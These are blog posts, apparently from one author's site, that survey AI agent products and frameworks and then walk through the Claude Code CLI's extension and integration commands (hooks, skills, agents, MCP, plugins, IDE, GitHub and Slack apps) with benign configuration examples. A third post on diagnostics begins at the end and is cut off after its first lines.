In 2026, the AI agent paradigm is a technical reality, and it keeps evolving rapidly. Commercial products include agent-like capabilities in their products, from the universal ChatGPT, to knowledge organisation with Notion and web search with Perplexity. Open-source frameworks likewise evolved: Chat interfaces with session persistence like OpenWebUI, personal agent frameworks like OpenClaw and Hermes, and several coding tools like Droid, Kilo, and Pi.

Agents are here now. They autonomously read and compose e-mails, conduct research and write comprehensive overviews, and program web applications and apps.

In this ongoing blog series, agent applications and their capabilities will be the focus. Two goals are prevalent. First, to explore and categorize the (agentic) features of commercial products and open-source projects. Second, how to set up agentic tools and surrounding infrastructure like LLM proxies and observability tools.

This introductory blog post provides an overview of application types and concrete commercial and open-source tools.

This article originally appeared at my blog admantium.com

Commercial Tools

The space of commercial tools is enormous. While AI becomes embedded into many types of products, agentic capabilities are the focus in the following groups.

Research

Gathering information from several webpages, reading several texts, comparing and summarizing — this is a premier task for AI apps.

Perplexity AI: Perplexity is an AI-powered search engine with different capabilities: Standard fast web search, and deep research for parallel fetching and comparison of several sources. You can select which model to use, enter text and voice, and instruct it to narrow down sources. Search processes and text generation happen fast, providing accurate results quickly, and always linking the relevant sources for verifying factual claims.
Google AI Search/AI Overview: Google also extended its search capabilities with conversational AI. When used, information is synthesized from various sources, providing a quick overview of topics of interest. Follow-up questions can narrow down the results. AI Overview is offered as an installable app for mobile phones only, which provides integration with a phone's native capabilities, including its camera for pictures or videos.

Knowledge Management

Knowledge management is concerned with organizing lists, notes, and texts into a coherent, structured format. Keeping this structure with editors requires structural integrity and strict rules to follow, while using a tool is dependent on the provider's system, making exports difficult.

Notion AI: Notion pages are structured documents accessible from the web or via dedicated app. Adding agents to these pages allows extended search capabilities via connectors, e.g. to external databases, or content improvements like summarization or text rewriting. Since agents can also query the complete workspace, context-aware suggestions can be produced, e.g. to reduce redundancy in notes. The specific strength of Notion is that agent invocation stays inside the workspace itself; no separate search or chat interface is required.
Google NotebookLM: A Gemini-powered research assistant that performs retrieval-augmented generation over uploaded sources such as Docs, PDFs, Slides, and URLs, generating grounded summaries and explanations. It is especially useful when the source set is known in advance and the goal is to stay within those materials. A distinctive feature is source-grounded output that avoids drifting beyond the uploaded corpus.
Perplexity Spaces: The Spaces feature is designed as a long-running, continuous session in which you can add sources, configure LLM invocation instructions, attach custom files and other data sources, and then start discussions structured as threads. Additionally, spaces can be shared with other people, allowing collaborative work on dedicated knowledge areas.

Productivity

Personal productivity is a very attractive area for agent applications. Organizing disjoint data sources, from task lists to calendars, from e-mails to note-taking apps, can be tedious if not structured rigorously. Agent apps provide organization and processes in spite of structural differences.

Google Workspace with Gemini: Google apps remain at the frontier of productivity, already providing a tight integration between emails, documents, sheets, and task lists. Their Gemini model can be opened in any workspace app, providing immediate support by AI models. Alternatively, a Gemini chat can be used standalone, with full access to all information, making it seamless to e.g. let an e-mail be composed about the contents of several documents. Also, you can use this feature to generate texts and add them to documents.
ChatGPT Agent Mode: ChatGPT is the premier interface for invoking LLMs in long, session-based conversations. The agent mode extends this capability, allowing a combined tool array for multi-step workflows, with tasks like web research, file editing, code execution, and connection to various third-party apps. Tasks can even be scheduled regularly, providing timed workflows.
Slack AI: Slack is a standard communication tool, used in small businesses and enterprises alike. Integration of AI takes several forms. For channels, summaries can be generated. Inside a huddle, meeting notes can be summarized. And the canvas feature allows collaborative text editing.

Content Generation

While text generation and image generation are core capabilities in all aforementioned application areas, specialized domains require specific formats or need to follow rules.

Jasper Agents: A complete platform for brand-specific content generation, including landing pages, blogs, and whole campaigns. It structures content generation into strict phases, and uses specialized agents for each step, with fixed guardrails and quality controls. It is also designed for collaborative work, allowing whole teams to structure and refine the workflow processes.
Ema: The Enterprise Machine Assistant promises AI employees that can fill roles from customer support, sales, research, and HR. Workflow engines invoke agents autonomously, and allow connecting to various data sources, ensuring governance and system connectivity.
Sight AI: An autonomous content-generation platform for researching, writing, and publishing SEO-optimized articles. Specialized agents partake in each workflow phase, and learn from their work. Published page rankings are monitored, their impact measured, and important findings stored in a knowledge graph that serves as a continuously evolving knowledge base for improving all publication aspects.

Sales and Support

These agents are tuned for CRM workflows, customer engagement, and service automation.

Agentforce: Salesforce's all-in-one solution for conversational agents that support all CRM processes. They can be employed as customer-facing chatbots, in back-office environments for customer support, and even for reaching out to resellers. All agents are highly customizable by the human team that invokes them.
Kore.ai: Kore offers pre-made AI apps for banking, healthcare, retail, and HR, as well as a complex agentic platform with which to implement and add agents for any business processes. Their focus on and experience with enterprise customers results in well-integrated solutions, orchestrating multimodal workflows that include voice, chat, documents, and system access. A special feature is enterprise-grade virtual assistant deployment across many business functions.
Sierra: Sierra provides brand-specific AI support agents for customer services across voice, webpage, and app channels. It handles both FAQ-style information access, and can also handle operational service flows, e.g. triggering returns or handling subscriptions. Their advertised strength is brand awareness, ensuring a coherent customer experience.

Workflow Automation

These agents orchestrate multi-step workflows and actions across apps and systems.

Zapier Agents: Zapier has been at the forefront of automation for more than a decade. With their rich experience of inter-system connectivity, it is no surprise that adding agents provides a seamless experience. Many templates are available, resulting in seamless invocation of agents to summarize content or work autonomously. This allows for productive business automation, spawning agents to fulfil customer requests, file invoices, and more.
Beam AI: Agentic process-automation platform whose agents interpret requests, make routing decisions, and automate workflows in support, sales operations, and HR. A standout feature is decision-making inside process flows, not just form-based task triggering.

Low-Code/Visual Coding

While dedicated coding agents output complex source code, the entry level into custom applications are visual editors, allowing non-technical users to implement complex logic.

Lovable: AI-powered platform for creating full-stack web apps from natural-language prompts. It is especially helpful for fast prototyping and MVP creation. Users can start with a generic prompt, and then quickly refine generated results with follow-ups. Since its inception, capabilities like third-party system integrations were added, allowing the generated code to access these systems immediately.
Bubble: A similar visual app builder with a focus on structured design workflows. Upon the initial prompts, design choices are presented, e.g. a set of features, or the structure of a webpage. The visual editor allows configuring these aspects, and then continuing with the prompt, or rewinding to an earlier version. It also rapidly expanded its capabilities with a third-party API connector, and opened a marketplace for plugins that can be integrated into its GUI.
Retool: Low-code platform for internal tools that uses AI to generate applications from prompts while keeping visual editing, data bindings, and enterprise controls in place. It is particularly strong when apps must connect to business data, run securely, and evolve over time.

General-Purpose Assistant

These are broad assistants that handle many task types via chat, tools, and multimodal inputs.

ChatGPT: General assistant for writing, coding, and research, with browsing and agent capabilities for multi-step tasks. It is flexible enough to act as both a conversational helper and a goal-directed autonomous agent with decision-making capabilities.
Gemini: General assistant for search, reasoning, and productivity tasks, with multimodal support and strong workspace integration. It works well when users need one assistant across documents, mail, search, and visual inputs.
Meta AI: The AI Assistant from Meta, accessible as a standalone web application, and also integrated into WhatsApp, Instagram, and Facebook. It allows seamless follow-up questions inside these apps, accessing user messages for rich, grounded context.

Open-Source Projects

An agent is a persistent, task-oriented process that has access to tools for editing files, connecting to external systems, and even shell commands in its environment. It also has a memory system, deriving context from several sessions/conversations, which also evolves the agent's capabilities so as not to repeat mistakes.

Converging with the appearance of the first Large Language Models, early frameworks that provide single agents were developed. The evolution to multi-agent invocation is rather new, which required experience with agent memory consistency and fixed workflow handovers between the different processes.

Single-Agent Frameworks

LangChain: Modular framework in which strict workflows with agent invocation are designed. Agents have access to their own memory, vector stores for RAG, and other data sources. The framework even features its own domain-specific language for composing complex workflows as functions with streaming support.
AgentZero: A general-purpose personal assistant framework with persistent memory and tool-enabled execution. It uses its host system for tool execution, so tasks can incorporate commands, code, and file operations.
AutoGen: Open-source framework for building AI agents and facilitating cooperation among multiple agents to solve tasks. It adds conversation programming and finite state machine patterns for controlling agent communication. AgentEval is integrated for task-oriented evaluation and iterative self-improvement. Has been declared in maintenance mode as of September 2025.
Parlant: An agent harness for reliable customer-facing AI. Agent behavior is modeled as explicit rules and conditions, then selectively injects only the relevant guidelines into the prompt at runtime. This results in fine-grained, predictable control over a single agent.

Multi-Agent Frameworks

CrewAI: Multi-agent orchestration framework centered on crews, agents, and tasks. The template method separates agents and tasks into YAML files, making projects easier to read and reuse. It also adds built-in tools, planning support, and training-oriented workflows.
OpenClaw: The most famous open-source agent runtime that generated awareness for technical and non-technical users alike. It provides three strong pillars: First, support for more than 20 LLM providers, including OpenAI, Anthropic, the generic OpenRouter, and more. Second, tight integration into the Google and Apple ecosystems, connecting apps from mail to note-taking. Third, a multitude of channels to simplify communication with agents, including popular messaging platforms like WhatsApp and Telegram, and platforms like Slack and Discord. It is also known for fast-moving features, not always with system stability and backwards compatibility.
Hermes Agent: A framework for self-improving agents with persistent memory and autonomous skill creation, using searchable past interactions and skill documents to adapt workflows across chat platforms. It is the number one contender to OpenClaw, valued for its stability and strict permission system to keep agents from harming their system.
OpenFang: A fast-moving open-source agent operating system built in Rust, positioned as a more kernel-level, background-process style alternative to chat-first agents. It emphasizes autonomous execution, skill templates, and a command registry, geared toward reliable scheduling and long-running tasks. It is shipped as a single, production-oriented binary, reducing resource overhead significantly compared to frameworks based on interpreted programming languages.
ZeroClaw: A compact, fully autonomous AI assistant infrastructure, emphasizing simplified practical deployments and channel connectivity. Its support for LLM providers and channels rivals that of OpenClaw, and its roots in Rust provide operational benefits, with a special focus on permissions to execute tools. An interesting feature is its hardware support to access communication protocols like I2C or serial interfaces, making it viable to be deployed on Raspberry Pi or ESP32 platforms.

Conclusion

In 2026, AI agents perform autonomous tasks in areas like productivity, research, content generation, and coding. This blog article gave a concise overview of both commercial tools and open-source projects in these realms. In the commercial space, the breadth from research to knowledge management, and from low-code to workflow automation, shows how much traction agents are developing. And the open-source projects show the steady progress from single-agent frameworks, requiring manual Python code with LLM invocations, to Telegram-controlled multi-agent environments with full access to the computer they run on.

Claude Code CLI: Extensions and Integrations

Sebastian — Thu, 30 Jul 2026 04:52:38 +0000

Claude Code is becoming an universal agentic tool, enabling text generation, image understanding, suggesting and performing tool calls, and working on local files. It does not only help in software engineering - it can also be used to access and parse database entries, perform web searches, access services via APIs, control browsers, and more.

In an ongoing series, I systematically explore all Claude Code commands. Its more then 40 subcommands can be used for setup, configuration, conversation ops, and more. The focus of this article are extensions, mechanisms that provide additional capabilities, and integrations, allowing Claude to access other systems.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com.

Claude Code CLI: Slash Command Overview

Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
✅ Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
✅ Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
✅ Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
✅ Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
✅ Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
✅ Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
🌀 Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
🌀 Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Extensions

Claude Codes uses an agentic loop that processes a request, adds the system prompts and other context information, suggests tools calls, evaluates them, and modifies files. In this loop, several extension mechanisms can be used, modifying the behavior of loop actions.

Source: Claude Code Docs, Hooks reference, https://code.claude.com/docs/en/hooks#hook-lifecycle

`/hooks`

During Claude Codes agentic loop, several lifecycle events happen, for example PreToolUse, PermssionRequest, PostToolUse, and more. At each of these phases, a deterministic command can be registered to be executed. The official documentation names several hook examples: block edits to protected files, defining hard rules about which files cannot be modified in any case, and re-inject context after compaction, referencing e.g. files that should be read in addition to the projects CLAUDE.md file, which provides permanent context.

The declaration is simple: A hook section in ~.claude/settings.json (or scoped to project/directory), which contains the lifecylce event, the concreate actions, and the hook declaration, calling a script or an inline command.

Here is an example hook to run npm lint after any tool use. Add, and restart the session for it to become effective.

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Edit|Write",
        "hooks": [
          {
            "type": "command",
            "command": "npm run lint"
          }
        ]
      }
    ]
  }
}

`/skills`

Skills help an LLM to use commands effectively. They define custom behavior that is loaded and invoked by key-words or even by a custom slash command name.

Defined in ~.claude/skills, they are essentially markdown files. These files define metadata in a frontmatter block, and then free-structured text. The current canon is to include the purpose, instructions, commands, and clear do and dont's.

Here is an example skill that I defined for creating, observing, and merging GitHub pull requests, with full access to GitHub workflows.

---
name: code-release
description: "Create GitHub releases with zipped source code. Optionally publish to npm if npm-publish command is defined. Use when user asks to create a release, publish to npm, or tag a version."
---

## Workflow

1. Validate project state (clean working dir, proper branch)
2. Determine version number
3. Create and push git tag
4. Create GitHub release with zipped source
5. Check for npm-publish script and run if defined
6. Report completion


### Step 1: Validate Project State

Before creating a release, verify:

- **Clean working directory:** `git status` must show no uncommitted changes
- **Branch check:** Should be on `main`, `master`, or a release branch (e.g., `release/v*`)
- **Remote configured:** Verify `git remote -v` shows an origin

**If any validation fails:**
- Report the issue clearly
- Stop and wait for user to fix
- Do not proceed with release

Skills are powerful. Check the complete documentation to learn about additional topics like metadata fields, text substitutions to reference Claude-specific environment variables, or control that skill invocation activates a sub-agent.

`/agents`

Agents are an ever-evolving entity, defined but very differently implemented in CLI tools or specific agent frameworks. Effectively, they can be boiled down to a custom prompt, tool permissions, and available tool scope.

In Claude Code, agents are first-class entities: Every prompt you enter is handled by an agent. The main agentic loop is owned and executed by a single agent. Naturally, this agents’ context window becomes polluted over the course of a long session, degrading task quality. To counter this issue, specialized subagents can be spawned. They receive a new, task-specific context with just enough information, and they can be configured to a constrained set of tools, increasing their effectiveness.

Subagents are built-in. When using Claude in plan mode, or when exploring large codebases, these tasks are conducted by subagents. Additionally, the /agents command can be used to create custom agents.

Let’s see how Claude Code creates an agent for handling GitHub pull request. Here is a full rundown of this dialog:

 /agents

────────────────────────────────────────────
 Agents
  3 agents

  ❯ Create new agent

    User agents (/home/node/.claude/agents)

    Built-in agents (always available)
    claude-code-guide · haiku
    Explore · haiku
    general-purpose · inherit
    Plan · inherit
    statusline-setup · sonnet

────────────────────────────────────────────
Create new agent
  Choose location

    1. Project (.claude/agents/)
  ❯ 2. Personal (~/.claude/agents/)

────────────────────────────────────────────
Create new agent
  Creation method

  ❯ 1. Generate with Claude (recommended)
    2. Manual configuration

────────────────────────────────────────────
Create new agent
  Describe what this agent should do and when it should be used (be comprehensive for best results)

  ❯ Create GitHub releases with zipped source code.
────────────────────────────────────────────
Create new agent
  Select tools

  ❯ [ Continue ]
  ────────────────────────────────────────
    ☒ All tools
    ☒ Read-only tools
    ☒ Edit tools
    ☒ Execution tools
    ☒ Other tools
  ────────────────────────────────────────
    [ Show advanced options ]

────────────────────────────────────────────
Create new agent
  Select model

  Model determines the agent's reasoning capabilities and speed.

  ❯ 1. Sonnet ✔             Balanced performance - best for most agents
    2. Opus                 Most capable for complex reasoning tasks
    3. Haiku                Fast and efficient for simple tasks
    4. Inherit from parent  Use the same model as the main conversation

────────────────────────────────────────────
Create new agent
  Configure agent memory

  ❯ 1. Project scope (.claude/agent-memory/) (Recommended)
    2. None (no persistent memory)
    3. User scope (~/.claude/agent-memory/)
    4. Local scope (.claude/agent-memory-local/)

From all of these choices, the Claude Code CLI will generate the agent definition. Like a skill, this is a markdown file, with a frontmatter block and free structured text (with some conventions regarding definition and instructions of memories.)

The result is surprisingly complex: 221 lines and 2460 words. Here is an excerpt:

---
name: "release-creator"
description: "Use this agent when you need to create GitHub releases with zipped source code. This agent should be called after code has been committed and is ready for distribution. Optionally triggers npm publication if npm-publish is available."
model: sonnet
memory: user
---

You are a release automation expert specializing in creating GitHub releases with source code distributions and optional npm publishing.

...

**Decision Framework**:

Release Flow:

1. Determine version
   ├── From git tag → confirm or bump
   ├── From package.json → extract
   └── From user input → validate

2. Create source archive
   ├── Collect files (respecting .gitignore patterns)
   ├── Create zip with metadata
   └── Validate archive

...

# Persistent Agent Memory

You have a persistent, file-based memory system at `/home/node/.claude/agent-memory/release-creator/`. This directory already exists — write to it directly with the Write tool (do not run mkdir or check for its existence).

You should build up this memory system over time so that future conversations can have a complete picture of who the user is, how they'd like to collaborate with you, what behaviors to avoid or repeat, and the context behind the work the user gives you.

If the user explicitly asks you to remember something, save it immediately as whichever type fits best. If they ask you to forget something, find and remove the relevant entry.

...

## What NOT to save in memory

- Code patterns, conventions, architecture, file paths, or project structure — these can be derived by reading the current project state.
- Git history, recent changes, or who-changed-what — `git log` / `git blame` are authoritative.
- Debugging solutions or fix recipes — the fix is in the code; the commit message has the context.
- Anything already documented in CLAUDE.md files.
- Ephemeral task details: in-progress work, temporary state, current conversation context.

`/mcp`

MCP is an acronym for Model Context Protocol, an evolving standard defined by Anthropic itself. It defines a JSON-based schema and exchange process between an LLM invocation and any external system. This enables Claude to additionally create and execute MCP tool calls.

To be used by Claude Code, an MCP server needs to be defined, which serves system-specific schema definitions. When parsing a prompt, Claude can connect with this server, browse the available definitions, and decide to invoke them. The server receives the request, processes it, and returns a structured response to the caller.

The /mcp command manages defined MCP servers, and therefore we first need to add an MCP server. Lets add the official GitHub MCP server with these steps:

Log into GitHub
Access the developer settings
Create a classic token with these scopes: repo, read:org, workflow.
Run following command to add the MCP server, and substitute the credentials with your created token.

 claude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header "Authorization: Bearer ghp_REDACTED"

# Log messages
Added HTTP MCP server github with URL: https://api.githubcopilot.com/mcp/ to local config
Headers: {
  "Authorization": "Bearer ghp_REDACTED"
}
File modified: /home/node/.claude.json

Authenticate the MCP server once by executing /mcp and selecting Enable

After these steps, the /mcp command can be used to see status information and concrete functions of the tools.

/mcp

Github MCP Server
│
│ Status: ✔ connected
│ Auth: ✔ authenticated
│ URL: https://api.githubcopilot.com/mcp/
│ Config location: /home/node/.claude.json
│ Capabilities: tools · prompts
│ Tools: 41 tools
│
│ ❯ 1. View tools
│   2. Re-authenticate
│   3. Clear authentication
│   4. Reconnect
│   5. Disable

Here is an overview to the available tools.

 Tools for github
  41 tools

  ❯ 1.  Add review comment to the requester's latest pending pull request review
    2.  Add comment to issue
    3.  Add reply to pull request comment
    4.  Create branch
  ↓ 5.  Create or update file

MCP servers and skill serve the same purpose: Effective interactions with external systems. There are different perspectives about when to use what. Skills should be prioritized when a small, effective CLI binary exists. MCP should be used if this is not the case, and when complex, multi-step workflows need to be orchestrated. The disadvantage of MCP is its schema footprint: It becomes parts of the context, potentially leading to a model reasoning performance drop because it’s context window fills up too quickly.

`/chrome`

When the system that runs Claude Code also has a Google Chrome browser installed, this extension can start a Chrome browser session and interact with it. Example use cases are to render a developed web application, access its DOM and the JavaScript console for error messages, inspect the visual layout, e.g. processing a screenshot and investigate layout bugs, or even automate tasks in the browser.

`/plugin`

Plugins are bundled skills distributed through a marketplace. They can be discovered, installed, and configured via this command.

Opening the command shows a horizontal bar with four sections.

Discover lists the top-downloaded plugins first, and allows to browse the list or search for specific terms. (You can also see the complete plugin catalog at claude.com/plugins/code-review).

Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins (1/173)
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

  ❯ ◯ frontend-design · claude-plugins-official · 702.3K installs
      Create distinctive, production-grade frontend interfaces wi…

The Installed section shows already installed plugins. Interestingly, the GitLab MCP server, added prior in this blog article, is among it.

Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins (1/173)
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

    Local
  ❯ github MCP · ◯ disabled

Marketplaces are the online repositories where plugins are distributed. It defaults to anthropics/claude-plugins-official, but others can be installed too.

Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins (1/173)
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

Manage marketplaces

  ❯ + Add Marketplace

    ● ✻ claude-plugins-official ✻
      anthropics/claude-plugins-official
      172 available • Updated 5/7/2026

Finally, the errors section shows any misconfiguration or utilization discrepancies.

Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins (1/173)
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

 No plugin errors

Let’s see what a plugin installation encompasses. I choose the 'skill-creator' meta skill.

Plugins  Discover   Installed   Marketplaces   Errors

Plugin details

  skill-creator
  from claude-plugins-official

  Create new skills, improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, update or optimize an
   existing skill, run evals to test a skill, or benchmark skill performance with variance analysis.

  By: Anthropic

  ⚠ Make sure you trust a plugin before installing, updating, or using it. Anthropic does not control what MCP servers, files, or other software are
    included in plugins and cannot verify that they will work as intended or that they won't change. See each plugin's homepage for more information.

  > Install for you (user scope)
    Install for all collaborators on this repository (project scope)
    Install for you, in this repo only (local scope)
    Open homepage
    Back to plugin list

This plugin is installed in the ~/.claude/plugins folder. And inspecting its content shows that it resembles a skill with additional scripts to ensure a more deterministic usage.

/home/node/.claude/plugins/marketplaces/claude-plugins-official/plugins/skill-creator/
|-- LICENSE
|-- README.md
`-- skills
    `-- skill-creator
        |-- LICENSE.txt
        |-- SKILL.md
        |-- agents
        |   |-- analyzer.md
        |   |-- comparator.md
        |   `-- grader.md
        |-- assets
        |   `-- eval_review.html
        |-- eval-viewer
        |   |-- generate_review.py
        |   `-- viewer.html
        |-- references
        |   `-- schemas.md
        `-- scripts
            |-- __init__.py
            |-- aggregate_benchmark.py
            |-- generate_report.py
            |-- improve_description.py
            |-- package_skill.py
            |-- quick_validate.py
            |-- run_eval.py
            |-- run_loop.py
            `-- utils.py

`/reload-plugins`

This command is mandatory when a new plugin was installed – it needs to be run once to active them in the current session.

/reload-plugins
  ⎿  Reloaded: 1 plugin · 0 skills · 7 agents · 0 hooks · 0 plugin MCP servers · 0 plugin LSP servers

Integrations

These commands setup and configure integrations of the Claude Code CLI to other programs and apps installed on your computer.

`/ide`

This command connects the Claude CLI to an installed IDE, in which you also need to have the Claude Code extension installed. Commands entered in the terminal, or in the IDEs chat window, will be mirrored.

`/install-github-app`

When GitHub serves as a remote origin for your project, you can use this sophisticated extension. It allows prompt interactions to create pull requests from a feature description only, which will create a branch, implement changes, create the PR. Additionally, it fully incorporates the management of GitHub actions, workflows that run when a new commit to the repository was issued, and typcially build the project, run linting, and perform tests.

The /install-github-app starts the installation, which ultimately clones the repo from github.com/anthropics/claude-code-action, setups API access keys, and registers skills that invoke the app.

`/install-slack-app`

Slack is a well-known collaborative communication tool, structuring conversations into threads, and providing rich text editing features. To generate notifications, coworkers can be mentioned. And what if you could mention Claude itself?

The slack app does exactly this, but has steep requirements: It needs an active Claude Code plan subscription, Claude Web needs to be installed, a GitHub account in which the source code repository of your project lies, and Slack authentication for the app itself. Once completed, you can start chatting with Claude, and it will execute command on Claude Code and push changes to the configured GitHub repo.

`/mobile`

A native iOS and Android App is available for Claude Code. This command shows a QR code and direct link to install them.

────────────────────────────────────────────────

      █▀▀▀▀▀█  ▀▄▄█▀▄▄█▄ █▄ ▀█▄ █▀▀▀▀▀█
      █ ███ █ ▀██▄▀██▄▀ █▀  ▄▀  █ ███ █
      █ ▀▀▀ █  ▄▀  ▄▀  █▀█ ███▀ █ ▀▀▀ █
      ▀▀▀▀▀▀▀ █▄█ █▄█ █▄█ ▀▄▀▄▀ ▀▀▀▀▀▀▀
      ██▀▄▀▀▀▀█ ██  ██ █  ▄█  ▄▀█  ▄▀ ▄
      ▄ █ ▀ ▀█▄▀ ▄ ▀ ▄ ██▄▀▄█▄▀▄▀▄▀█ █▀
      ▀▄█▄█▄▀▄█▄ ▄█▄ ▄█▀▀▀██▄ ▄██▀ █▄ █
      ▄█  █▀▀▄ █▄▀█▄█▀██▄▄█▄▄▄ █ █▀▄ █▀
        ▀▄ ▀▀▀▄ ▄█  ██▀▀  ▄█  ███   ▄▀█
      ▀█▄█ █▀█▀ █▄ ▀ ▄█▄█ █▄  ▄▀▀ ▄█ █▀
      ▀▀█ ▄█▀▀▀▄▀▄█▄ ▄▀█ ▀██ ▀▀▄█▄  ▄▀█
      ▀▄▀▄▀█▀ ▄ ▀▀█▄█ ▄▄ ▄ ▄▄▄▄█▄█ ▀ █▀
      ▀ ▀ ▀▀▀▀▄▀██  █▄▄▄█ █▀▀██▀▀▀█▄ ▄▄
      █▀▀▀▀▀█ █ ▀▄ ▀ █▄▄▀▄▄▄▄▀█ ▀ █▀▀▀▀
      █ ███ █ ▀ ▀▄█▄ █▄▀▀▀▀█  █▀▀▀██  █
      █ ▀▀▀ █ █▄▀▀█▄█ ▄▀▀▄ █▀█▄▄ █▀ ▀▄▀
      ▀▀▀▀▀▀▀ ▀ ▀▀  ▀ ▀ ▀▀ ▀ ▀▀▀  ▀▀ ▀▀

  iOS / Android  (tab to switch, esc to close)
  https://apps.apple.com/app/claude-by-anthropic/id647375368

`/claude-api`

Anthropic also provides an SDK to implement apps that need LLM invocations or agentic capabilities. This command loads its internal API documentation, lists resources, and starts an active dialogue helping you to add the SDK to your project.

Here is an example invocation.

The /claude/api skill documentation is now loaded. Here's a quick summary of what's available:

  Key Resources:

  ┌────────────────────────────────────┬────────────────────────────────────────────────────┐
  │               Topic                │                      Use For                       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/README.md    │ Basic API calls, streaming, vision, error handling │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/tool-use.md  │ Tool definitions, tool runner, manual loops        │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/streaming.md │ Real-time streaming with code examples             │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/batches.md   │ Async batch processing at 50% cost                 │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/agent-sdk/README.md     │ Agent SDK with built-in tools (file/web/terminal)  │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/tool-use-concepts.md        │ Tool design patterns and decision heuristics       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/prompt-caching.md           │ Optimizing cache hits, silent invalidators         │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/models.md                   │ Exact model IDs and capability lookup              │
  └────────────────────────────────────┴────────────────────────────────────────────────────┘

  Quick Defaults:
  - Model: claude-opus-4-6 (always, unless user specifies otherwise)
  - Thinking: thinking: {type: "adaptive"} for Opus 4.6
  - Streaming: Default for any request that may have large output

  What would you like to build?

Conclusion

This article concludes my series about Claude Code CLI commands. It showed commands from the Extension and Integration groups. In extensions, you learned about a) hook, executing deterministic commands during events of the agentic loop, b) skill, complex instructions and scripts for specific tasks, c) agents, understanding Claude’s built-in agents and the ability to add new ones, d) mcp, manage complex API interactions with any external service, e) how to interact with chrome bowser, f) browse, install, edit and g) reload plugins. The integrations command showed how to connect the Claude Code terminal with a) an IDE, b) GitHub, c) Slack, as well as d) install the iOS or Android app, and e) adding an SDK to build agents into your app.

Claude Code CLI: Diagnostics & User Support and Permissions

Sebastian — Mon, 20 Jul 2026 05:43:44 +0000

Large Language Models and their utilizing tools evolved to provide agents working autonomously on computer systems, with full access to files, configuration, and processes. Especially for software development, CLI tools like Claude Code facilitate engineering novel features, finding and fixing bugs, code changes due to updated library, and writing full documentation.

In an ongoing blog series, all commands from the Claude Code CLI are explored systematically. They can be separated into different groups, targeting aspects like session management, conversation ops, configuration, and much more. The particular focus of this article are terminal configuration, adjusting font, colors, and key binding, and diagnostics, identifying potential issues with the CLI functionality.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com.

Claude Code CLI: Slash Command Overview

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
